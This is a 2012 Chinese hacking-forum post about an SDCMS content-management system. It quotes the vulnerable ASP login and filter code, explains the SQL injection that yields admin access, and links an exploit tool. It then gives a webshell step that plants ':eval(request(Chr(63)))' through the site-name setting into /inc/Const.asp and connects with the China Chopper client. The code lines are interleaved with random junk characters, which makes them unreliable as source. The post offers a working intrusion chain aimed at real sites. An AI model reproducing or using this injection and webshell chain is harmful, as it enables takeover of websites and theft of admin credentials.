中国网络渗透测试联盟

标题: SDCMS通杀漏洞利用工具及提权拿SHELL [打印本页]

作者: admin    时间: 2012-11-9 20:57
标题: SDCMS通杀漏洞利用工具及提权拿SHELL
作者:T00LS 鬼哥% _3 r# n- E+ `9 u& Q( E1 U5 _
漏洞文件:后台目录/index.asp: \* Z: c9 V1 D% B

' j7 Y2 [2 t  M5 X7 H" gSub Check
  s! x! D: i/ t# s( Y% L3 t; ]) p    Dim username,password,code,getcode,Rs9 F8 ~/ V! t4 C& ?# R* P7 g& C
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub8 \4 w2 b4 ^4 l& Y1 N; O9 ~
    username=FilterText(Trim(Request.Form("username")),1)
1 R! c  N' a, x. |7 M    password=FilterText(Trim(Request.Form("password")),1)
. X8 g+ k2 {* s+ K9 i7 n# {7 B* d    code=Trim(Request.Form("yzm")): `) ?+ G# l0 ?" E
    getcode=Session("SDCMSCode")/ z9 {( F; T) b& v& ^, V" z4 n; T3 H+ y
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
- K: z% k: f7 r- w! e0 r7 k    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied+ x2 E/ z- t* i; q
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied$ D8 r/ B& d7 e5 C
    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied& Q$ J/ H) ?3 F2 T: S  J0 M* r) C
    IF username="" or password="" Then7 b  K7 T7 s3 n: ]
        Echo "用户名或密码不能为空"ied# f& d% P, F0 _6 B/ n9 ^  U5 g2 i' K
    Else
' r: e7 p- P/ T        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
- E' y/ q, W1 ~$ d0 m1 ]& ~9 m        IF Rs.Eof Then* ~- p, ]4 J9 i3 r* k8 B$ X
            AddLog username,GetIp,"登录失败",14 I4 t1 r4 X. k- S0 s+ X
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会", F% L6 g! q3 U6 R6 z0 V' ^! l
        Else
0 S" s$ A* o# o7 V6 f( b1 q" g, v            Add_Cookies "sdcms_id",Rs(0)$ @; x- A  }' I" ^8 y
            Add_Cookies "sdcms_name",username
0 G5 ^/ R, N* w' Z4 M5 e            Add_Cookies "sdcms_pwd",Rs(2)
; N8 G$ v$ _; B+ P) }' ~            Add_Cookies "sdcms_admin",Rs(3)
5 `. y9 \) j( F( h+ d0 W            Add_Cookies "sdcms_alllever",Rs(4)
; @# @8 J* K7 W: @$ h            Add_Cookies "sdcms_infolever",Rs(5); Z# y& C, H5 k7 p) H
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")7 I/ J2 s" u& O( V  @# v
            AddLog username,GetIp,"登录成功",17 X9 O: n/ L$ Y% O
            '自动删除30天前的Log记录
: L' Z5 M6 f" n0 G$ ], z            IF Sdcms_DataType Then
0 a3 t8 D* a6 l                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")" t: F, e$ t& J( m* W/ H+ z
            Else
4 s6 j1 ^! \' Q- K* ]                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30"). B0 N$ U  t$ m# K7 C# ]' j- i
            End IF
$ u" e/ }* [& k            Go("sdcms_index.asp")
! p8 ^0 d; e$ O9 y5 p        End IF
5 ?( c2 a% w2 L' E0 {% G, C0 O: _0 d        Rs.Close8 S* y5 r2 h( G+ j6 v
        Set Rs=Nothing. N6 B) Q! w3 m# g& U
    End IF- T1 ?2 V# G8 h" y# h& s
End Sub
2 i5 L/ u# r# h2 c. \2 @2 c: G
9 p, S5 |( V2 F8 G1 g’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码$ z6 p' i9 b0 V- u1 e
$ B. H: ?5 I% I6 ~! c5 a
Function FilterText(ByVal t0,ByVal t1)% ^# s: w; M5 T4 T; A: k
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function! x" T' m* G+ a/ r6 v3 G  V
    t0=Trim(t0)/ p1 N& ]5 t7 i" d9 L
    Select Case t1( h: l6 V/ E- R7 I
        Case "1"
: E% U+ i  l  M! {9 x7 f! q! T            t0=Replace(t0,Chr(32),"")$ A1 l' J' l4 \  h! A# A7 s
            t0=Replace(t0,Chr(13),"")  j4 J9 [# ^6 k; y3 T
            t0=Replace(t0,Chr(10)&Chr(10),"")3 |! L3 \2 W1 M
            t0=Replace(t0,Chr(10),"")9 l1 `+ W2 f$ ?; o# J+ B4 K
        Case "2"# ^/ c5 }( W& [
            t0=Replace(t0,Chr(8),"")'回格# p) m7 @  Z2 g. R, F; E. B
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
/ ~/ ^% v* w% C1 G            t0=Replace(t0,Chr(10),"")'换行- |3 d: v' p8 f' U) b# E, A6 J2 q
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符). g4 S1 T( m1 Y: z* R" k' W
            t0=Replace(t0,Chr(12),"")'换页& E) g/ W+ S4 `9 e' ]( W4 g
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
1 R" H8 C' a  z3 r            t0=Replace(t0,Chr(22),"")' N+ _1 e0 I0 \) ^/ X) {
            t0=Replace(t0,Chr(32),"")'空格 SPACE* f% K# U5 y" l1 x
            t0=Replace(t0,Chr(33),"")'!
, a) M7 g" O( z' c( Y4 p            t0=Replace(t0,Chr(34),"")'"
/ c0 ]2 j; F/ [" ^) C4 {( B            t0=Replace(t0,Chr(35),"")'#2 N5 }0 X8 u% G- \" l$ m  h
            t0=Replace(t0,Chr(36),"")'$
# w6 h6 \5 Q3 G0 y' {            t0=Replace(t0,Chr(37),"")'%
3 T8 r: y* _8 O            t0=Replace(t0,Chr(38),"")'&
/ e: F& l& B( h2 T            t0=Replace(t0,Chr(39),"")''
  ~8 \  K) z3 I            t0=Replace(t0,Chr(40),"")'(( L  o3 l; {% v8 d/ D7 Z
            t0=Replace(t0,Chr(41),"")')" i% H6 @# t/ m8 I' `/ P; C( M
            t0=Replace(t0,Chr(42),"")'*0 \, X2 Y9 d# J- o" O
            t0=Replace(t0,Chr(43),"")'+% ?5 P9 T: G5 b* `
            t0=Replace(t0,Chr(44),"")',
1 i( V4 r2 E9 Z; C+ _            t0=Replace(t0,Chr(45),"")'-" U5 m8 ]+ j0 R% \/ ]- M1 Y
            t0=Replace(t0,Chr(46),"")'.4 t- ]8 p1 e* U
            t0=Replace(t0,Chr(47),"")'/! m1 q8 c( f0 t  L1 V$ y
            t0=Replace(t0,Chr(58),"")':( ~, ^& |+ q, j6 ^1 i9 h
            t0=Replace(t0,Chr(59),"")';
9 Z" r; V* g- I% E            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>8 Q2 q# R  D0 `: j& h) B
            t0=Replace(t0,Chr(63),"")'?* e3 d- q; ?) }9 \
            t0=Replace(t0,Chr(64),"")'@
( E0 W7 |+ Z: v7 r) x! L; X            t0=Replace(t0,Chr(91),"")'\
3 B6 B  n, `0 O5 h$ o7 }4 ^            t0=Replace(t0,Chr(92),"")'\8 \8 N  b7 U! J/ K
            t0=Replace(t0,Chr(93),"")']
0 P" I% y& B, b) r/ [, w  z- C3 T. `            t0=Replace(t0,Chr(94),"")'^: X" `; S: O+ k9 `: t
            t0=Replace(t0,Chr(95),"")'_. f3 e6 z; {& X4 r, D( O
            t0=Replace(t0,Chr(96),"")'`
3 z# A( ?9 |2 q, D            t0=Replace(t0,Chr(123),"")'{
( g, b/ W9 l5 p. ^* r9 e" M! n6 g            t0=Replace(t0,Chr(124),"")'|
+ [7 C4 @$ |3 f1 ^5 Q7 u' O            t0=Replace(t0,Chr(125),"")'}
% E& x7 G0 ?7 Q9 z4 `            t0=Replace(t0,Chr(126),"")'~* T9 f" M8 u3 |) C2 J
    Case Else; ?6 W9 Z+ x% [
        t0=Replace(t0, "&", "&")8 a0 k6 |$ Z& C3 g3 U
        t0=Replace(t0, "'", "'")
% \7 I3 m0 [4 J        t0=Replace(t0, """", """)4 D9 B8 P$ t5 ]( d
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
% j) }; P! _5 Y& X9 f    End Select& |8 D* A, h! a1 n- ?
    IF Instr(Lcase(t0),"expression")>0 Then, o) X# s: |/ k& P
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)5 R* P5 R6 @4 X; I9 h$ Q
    End If& L. g  ]0 y  u
    FilterText=t0
) g( a2 |* i" g1 AEnd Function
9 z$ n$ J/ }, A+ E8 L: x! g  I6 C' o; k
看到没。直接参数是1 只过滤  I5 k) o3 ^8 c* z! N
                        t0=Replace(t0,Chr(32)," ")
8 v3 r# g: Y# \# f+ ~7 N5 g" @                        t0=Replace(t0,Chr(13),"")* B, I; x+ V$ u" [; [0 M) B" x
                        t0=Replace(t0,Chr(10)&Chr(10),"
* b- ?, V' D. I! F4 }2 ^6 O' q: ?")
5 x0 o+ y  p  q$ R' U7 F                        t0=Replace(t0,Chr(10),"! N. f" K6 d$ ?* v  u
")& f0 G  J( }/ L1 Q! M
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!" N' A6 ^. u7 D% k
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
" o' B9 w. m! W( S9 m9 {$ q9 Z# k* o0 x- i1 ]1 I1 F
测试:6 O; {% z3 O6 d" s

2 P+ B" i6 G4 u; d# Z1 b* \9 L
! X& }9 e/ @: t# y: C现在输入工具上验证码,然后点OK/ d2 R0 Y* X6 I& }, f) H

1 c+ m. S1 l3 T1 S5 U! `3 `$ y+ h  c% P3 r( s; a% T  c
看到我们直接进入后台管理界面了,呵呵!1 r7 t* c: v' r, z2 b
( S2 Q+ a8 h" b( w% T4 g  d$ o* R

& F; y1 i! I2 S5 T" }
. r6 \* b; ]( ?3 d+ I这样直接进入后台了。。。。
1 A: Y7 ]! N: n0 i2 c; R! a& S; z+ J  _6 z0 \

( H# c7 k5 g) V# k/ i& N$ m7 t+ ?; V
SDCMS提权:
2 d, E' f/ y' \8 O$ I( g! ]
: B& @$ @& G6 H: i- k, E方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?0 Q! {4 H# R! L3 V
! v7 R! ~. K0 ~: w
' `, k$ k: m* {6 ^$ S; O/ M

' a! d$ ~# g4 `  {OK,现在用菜刀连接下!
' A5 T2 V5 Q9 Z2 ?4 @6 m( a' k, Y- m, Z9 ]
3 W! S5 u3 c: D8 w
) k* W) W0 G# m4 K+ f; `7 n

- g+ w* j4 e: `+ ~" O& M9 X
) _6 f6 z. \1 O




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2